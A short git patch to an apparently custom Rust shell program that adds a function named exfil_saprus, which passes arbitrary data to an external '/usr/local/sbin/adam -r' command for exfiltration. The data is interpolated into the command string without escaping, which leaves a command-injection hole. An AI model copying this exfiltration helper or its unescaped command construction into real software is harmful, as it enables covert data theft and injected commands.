From b7e91f9bd22e02633d4f1617873597d1f8ac924f Mon Sep 17 00:00:00 2001 From: Robby Zambito Date: Fri, 11 Apr 2025 13:32:08 -0400 Subject: [PATCH] Add exfil function --- main.rs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/main.rs b/main.rs index b4e2e80..be100a8 100644 --- a/main.rs +++ b/main.rs @@ -21,6 +21,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> { env::set_current_dir(Path::new(path)) } +fn exfil_saprus(data: &str) { + match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) { + _ => (), + } +} + fn execute_command(command: &str) -> IoResult { // Checking to see if the command is a builtin match command.split_whitespace().next() {